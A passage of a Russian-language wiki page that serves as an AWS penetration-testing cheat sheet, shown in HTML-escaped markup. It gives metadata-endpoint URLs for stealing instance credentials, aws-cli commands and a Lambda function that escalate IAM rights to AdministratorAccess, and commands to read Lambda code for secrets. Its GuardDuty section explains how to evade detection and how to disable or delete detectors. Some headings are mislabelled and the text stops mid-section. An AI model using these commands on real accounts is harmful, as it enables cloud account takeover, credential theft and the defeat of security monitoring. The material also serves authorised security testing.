&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить пользователя в группу администраторов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name target_group --user-name my_username&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять политику, выставленную администраторами сети и применить ее, после чего повысить привилегии у обьекта.&lt;br /&gt;
&lt;br /&gt;
Например, если у вас это право, то вы можете создать произвольную политику, дающую полный доступ и применить ее.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание политики&lt;br /&gt;
aws iam create-policy-version --policy-arn target_policy_arn --policy-document file://path/to/administrator/policy.json --set-as-default&lt;br /&gt;
# Установка политики по умолчанию.&lt;br /&gt;
aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить политику к пользователю. Если существует политика, дающая админские права - повышение.&lt;br /&gt;
&lt;br /&gt;
== AWS Shield ==&lt;br /&gt;
&lt;br /&gt;
Сервис для защиты от DDoS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Cognito ==&lt;br /&gt;
&lt;br /&gt;
Позволяет быстро и просто добавлять возможности регистрации, авторизации и контроля доступа пользователей в мобильные и интернет-приложения.&lt;br /&gt;
&lt;br /&gt;
=== Основное ===&lt;br /&gt;
&lt;br /&gt;
Cognito отвечает за следующие действия:&lt;br /&gt;
&lt;br /&gt;
* Регистрация пользователя (email + пароль)&lt;br /&gt;
&lt;br /&gt;
* Авторизация пользователя&lt;br /&gt;
&lt;br /&gt;
* Работа с сохраненной пользовательской информацией (устанавливается приложением)&lt;br /&gt;
&lt;br /&gt;
* Специальные действия (например, предоставление AWS-ключей)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Все общение идет по HTTP(s). Особенность системы в том, что Cognito общается как напрямую с чужим веб-сайтом, так и напрямую с клиентским браузером. То есть веб-сервер не знает, какой был передан пароль (в нормальной реализации).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример URL: cognito-identity.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
За действие отвечает HTTP-заголовок &amp;quot;X-Amz-Target&amp;quot;. В своем роде, это Endpoints API.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Какие параметры требуются для работы с ним:&lt;br /&gt;
&lt;br /&gt;
1. Название Endpoint'а  - &amp;quot;X-Amz-Target&amp;quot; заголовок&lt;br /&gt;
&lt;br /&gt;
2. Регион - &amp;quot;aws_project_region&amp;quot; параметр&lt;br /&gt;
&lt;br /&gt;
3. Session token - позже требуется для запросов.&lt;br /&gt;
&lt;br /&gt;
4. Identity Pool ID - нужен для запросов типа Identity Pools.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также пишут, что Cognito разделяется на две основные части:&lt;br /&gt;
&lt;br /&gt;
* User Pools  - для тех, кому нужна только регистрация и аутентификация&lt;br /&gt;
&lt;br /&gt;
* Identity Pools - для тех, кому еще и нужен доступ к AWS-ресурсам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== X-Amz-Target (Endpoints) ===&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.UpdateUserAttributes ====&lt;br /&gt;
&lt;br /&gt;
У каждого пользователя есть поля, которые могут быть установлены самим пользователем (например, фамилия или дата рождения). Но также это могут быть и критичные поля, такие, как ID пользователя, администратор ли он и так далее.&lt;br /&gt;
&lt;br /&gt;
Также раньше можно было менять поле email'а пользователя (0day): https://infosecwriteups.com/hacking-aws-cognito-misconfiguration-to-zero-click-account-takeover-36a209a0bd8a&lt;br /&gt;
&lt;br /&gt;
Важно! Указано, что могут быть отправки СМС-уведомлений, так что тестировать осторожно.&lt;br /&gt;
&lt;br /&gt;
P.S. Мб неверно название Endpoint'а. Надо проверять.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить AWS ключи для работы с AWS-консолью. По-умолчанию отключено.&lt;br /&gt;
&lt;br /&gt;
Требуется aws_identity_pool_id.&lt;br /&gt;
&lt;br /&gt;
В некоторых примерах оно также было указано как &amp;quot;com.amazonaws.cognito.identity.model.AWSCognitoIdentityService.GetCredentialsForIdentity&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://blog.appsecco.com/exploiting-weak-configurations-in-amazon-cognito-in-aws-471ce761963&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить OpenID токен, действительный на 10 минут.&lt;br /&gt;
&lt;br /&gt;
В примере требуется только &amp;quot;IdentityID&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetOpenIdTokenForDeveloperIdentity ====&lt;br /&gt;
&lt;br /&gt;
Тоже позволяет получить OpenID токен, действительный на 10 минут. Но также создает новый &amp;quot;IdentityID&amp;quot; (если он не был указан).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== AWSCognitoIdentityService.GetCredentialsForIdentity ====&lt;br /&gt;
&lt;br /&gt;
Получить учетные данные пользователя по IdentityID: SecretKey, SessionToken, AccessKeyID.&lt;br /&gt;
&lt;br /&gt;
https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html&lt;br /&gt;
&lt;br /&gt;
== GuardDuty ==&lt;br /&gt;
&lt;br /&gt;
Сервис для детектирования атак используя машинное обучение.&lt;br /&gt;
&lt;br /&gt;
Для детекта использует следующие сервисы:&lt;br /&gt;
&lt;br /&gt;
* CloudTrail&lt;br /&gt;
* VPC Flow Logs&lt;br /&gt;
* DNS Logs&lt;br /&gt;
* ...to be continued&lt;br /&gt;
&lt;br /&gt;
=== Обход защиты  ===&lt;br /&gt;
&lt;br /&gt;
Далее идут правила детекта и то, как их можно обойти.&lt;br /&gt;
&lt;br /&gt;
==== UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration ====&lt;br /&gt;
&lt;br /&gt;
Детектит, если AWS-API команды были запущены за пределами EC2 (используя токен этого EC2).&lt;br /&gt;
&lt;br /&gt;
Правило эффективно, если хакер хочет украть токен с EC2 и использовать его вне EC2 (например, если есть только SSRF).&lt;br /&gt;
&lt;br /&gt;
Обход простой: создать свой EC2-инстанс и делать API-запросы с полученными учетными данными жертвы.&lt;br /&gt;
Тогда правило не сработает, даже если учетные данные не принадлежат данной EC2 тк правило проверяет source ip и является ли он EC2.&lt;br /&gt;
&lt;br /&gt;
Может быть для этого выгодно держать проксирующий сервер EC2.&lt;br /&gt;
&lt;br /&gt;
==== UserAgent rules ====&lt;br /&gt;
&lt;br /&gt;
Суть в том, что GuardDuty будет добавлять Alert если AWS-CLI использует UserAgent например Kali. &lt;br /&gt;
Варианты:&lt;br /&gt;
&lt;br /&gt;
* Использовать утилиту pacu (уже есть смена User-Agent)&lt;br /&gt;
&lt;br /&gt;
* Отредактировать botocore(https://github.com/boto/botocore) по пути /usr/local/lib/python3.7/dist-packages/botocore/session.py: поменять platform.release() на строку юзерагента.&lt;br /&gt;
&lt;br /&gt;
=== Роли - Управление ===&lt;br /&gt;
&lt;br /&gt;
Список ролей: https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonguardduty.html&lt;br /&gt;
&lt;br /&gt;
==== guardduty:UpdateDetector ====&lt;br /&gt;
&lt;br /&gt;
Позволяет выключить GuardDuty (ну или редатировать правила):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty update-detector --detector-id &amp;lt;id of detector&amp;gt; --no-enable&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== guardduty:DeleteDetector ====&lt;br /&gt;
&lt;br /&gt;
Удалить правило детектирования:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
aws guardduty delete-detector --detector-id &amp;lt;id of detector&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== STS (Security Token Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис, позволяющий запросить временные учетные данные с ограниченными  примилегиями для IAM-пользователей &lt;br /&gt;
&lt;br /&gt;
== KMS (Key Management Service) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для создания криптографических ключей, управления ими и использования их в других сервисах.&lt;br /&gt;
&lt;br /&gt;
Администраторы амазона не смогут получить к ним доступ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ключи со временем обновляются:&lt;br /&gt;
&lt;br /&gt;
* Customers keys - раз в 365 дней&lt;br /&gt;
&lt;br /&gt;
* AWS keys - раз в 3 года.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Старые ключи также можно будет использовать для расшифровки.&lt;br /&gt;
&lt;br /&gt;
== CloudHSM (Hardware Security Module) ==&lt;br /&gt;
&lt;br /&gt;
Замена KMS для богатых и тех, кто хочит побольше безопасности. Хранилище ключей, прикрепленное к аппаратному решению. &lt;br /&gt;
&lt;br /&gt;
Пишут, что устройство будет закреплено только за вами.&lt;br /&gt;
&lt;br /&gt;
Также можно получить доступ к CloudHSM-Instance по SSH.&lt;br /&gt;
&lt;br /&gt;
== Athena ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный бессерверный сервис, позволяющий анализировать данные хранилища S3 стандартными средствами SQL.&lt;br /&gt;
&lt;br /&gt;
Умеет работать с шифрованными S3 и сохранять шифрованный вывод.&lt;br /&gt;
&lt;br /&gt;
== EBS (Elastic Block Store) ==&lt;br /&gt;
&lt;br /&gt;
Сервис блочного хранилища (просто жесткий диск, который можно примонтировать).&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление сервисом ===&lt;br /&gt;
 &lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
Возможность подключить EBS-Volume/Snapshot к EC2-виртуалке.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание Volume из snapshot'а (если требуется подключить snapshot)&lt;br /&gt;
aws ec2 create-volume –snapshot-id snapshot_id --availability-zone zone&lt;br /&gt;
# Подключение Volume к виртуалке EC2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее идем на виртуалку и вводим команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Поиск Volume&lt;br /&gt;
lsblk&lt;br /&gt;
# Проверка есть ли на нем данные&lt;br /&gt;
sudo file -s /dev/xvdf&lt;br /&gt;
# форматировать образ под ext4 (если неподходящая файловая система)&lt;br /&gt;
sudo mkfs -t ext4 /dev/xvdf&lt;br /&gt;
# Создаем директорию куда примонтируем позже&lt;br /&gt;
sudo mkdir /tmp/newvolume&lt;br /&gt;
# Монтируем&lt;br /&gt;
sudo mount /dev/xvdf /tmp/newvolume/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Диск будет доступен на /tmp/newvolume.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Lambda ==&lt;br /&gt;
&lt;br /&gt;
Сервис для запуска своего кода в облаке.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:UpdateFunctionCode ====&lt;br /&gt;
&lt;br /&gt;
Позволяет поменять запущенный код, тем самым получив контроль над ролями, прикрепленными к этому коду:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws lambda update-function-code --function-name target_function --zip-file fileb://my/lambda/code/zipped.zip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== lambda:CreateFunction + lambda:InvokeFunction + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать функцию и прикрепить к ней произвольную роль, после чего запустить.&lt;br /&gt;
&lt;br /&gt;
Код функции:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
import boto3&lt;br /&gt;
def lambda_handler(event, context):&lt;br /&gt;
    client = boto3.client('iam')&lt;br /&gt;
    response = client.attach_user_policy(&lt;br /&gt;
    UserName='my_username',&lt;br /&gt;
    PolicyArn=&amp;quot;arn:aws:iam::aws:policy/AdministratorAccess&amp;quot;&lt;br /&gt;
    )&lt;br /&gt;
    return response&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Команды для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создание функции&lt;br /&gt;
aws lambda create-function --function-name my_function --runtime python3.6 --role arn_of_lambda_role --handler lambda_function.lambda_handler --code file://my/python/code.py&lt;br /&gt;
# Запуск&lt;br /&gt;
aws lambda invoke --function-name my_function output.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== lambda:GetFunction ====&lt;br /&gt;
&lt;br /&gt;
Также может понадобиться lambda:ListFunctions чтобы не перебирать названия функций.&lt;br /&gt;
&lt;br /&gt;
Позволяет прочитать исходный код функции (в котором например может быть секрет сохранен):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получить список функций&lt;br /&gt;
aws lambda list-functions --profile uploadcreds&lt;br /&gt;
# Получить информацию о Lambda-функции&lt;br /&gt;
aws lambda get-function --function-name &amp;quot;LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY&amp;quot; --query 'Code.Location' --profile uploadcreds&lt;br /&gt;
# Скачать исходный код по ссылке из предыдущего ответа&lt;br /&gt;
wget -O lambda-function.zip url-from-previous-query --profile uploadcreds&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Glue ==&lt;br /&gt;
&lt;br /&gt;
Бессерверная служба интеграции данных, упрощающая поиск, подготовку и объединение данных для анализа, машинного обучения и разработки приложений.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== glue:UpdateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
Позволяет обновить параметры Glue Development Endpoint, тем самым получив контроль над ролями, прикрепленными к этому Glue Development Endpoint:&lt;br /&gt;
